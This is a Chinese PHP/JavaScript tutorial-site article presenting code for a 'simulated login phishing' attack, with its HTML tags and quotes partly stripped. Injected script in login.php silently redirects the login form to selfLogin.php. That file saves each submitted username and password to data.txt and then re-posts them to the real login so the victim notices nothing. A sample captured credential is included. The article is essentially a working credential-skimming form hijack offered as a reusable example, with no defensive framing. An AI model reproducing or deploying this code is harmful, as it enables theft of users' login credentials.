本篇文章给大家带来的内容是关于PHP和JS实现模仿登录钓鱼的代码示例,有一定的参考价值,有需要的朋友可以参考一下,希望对你有所帮助。
目录介绍
login.php 正常登录的文件
selfLogin.php 自定义的登录文件
data.txt 记录用户输入的数据
login.php
?php echo pre $userInfo = $_POST ; if ($userInfo) { # code... var_dump($userInfo, 登录成功 exit(); !DOCTYPE html html head title 登录 /title /head body form id= login method= post action= login.php 用户姓名: input type= text name= name 用户密码: input type= password name= pwd input type= submit value= 确认登录 /form /body script type= text/javascript //js劫持代码 window.onload = function (eve) { var form = document.getElementById( login form.innerHTML = form id= login method= post 用户姓名: input type= text name= name 用户密码: input type= password name= pwd input type= submit value= 确认登录 /form //钓鱼地址 form.action = selfLogin.php /script /html
selfLogin.php
?php $name = $pwd = //var_dump( 数据被截取了 ,$_POST) ; if($_POST) { //记录获取的数据信息 $name = $_POST[ name $pwd = $_POST[ pwd file_put_contents( data.txt , json_encode($_POST,true)) ; !DOCTYPE html html head title /title /head body /body script type= text/javascript //构建之前的页面 window.onload = function (eve) { var name = ?php echo $name; ? var pwd = ?php echo $pwd; ? if(name pwd) { var p = document.createElement( p document.body.appendChild(p); p.innerHTML = form id= login2 method= post action= login.php + 用户姓名: input type= text name= name value= +name+ 用户密码: input type= password name= pwd value= +pwd+ document.getElementById( login2 ).submit(); /script /html
data.txt
{ name : admin , pwd : 123456 }
本篇文章到这里就已经全部结束了,更多其他精彩内容可以关注PHP 的JavaScript视频教程栏目!
以上就是PHP和JS实现模仿登录钓鱼的代码示例的详细内容,PHP教程
郑重声明:本文版权归原作者所有,转载文章仅为传播更多信息之目的,如作者信息标记有误,请第一时间联系我们修改或删除,多谢。
新闻热点
疑难解答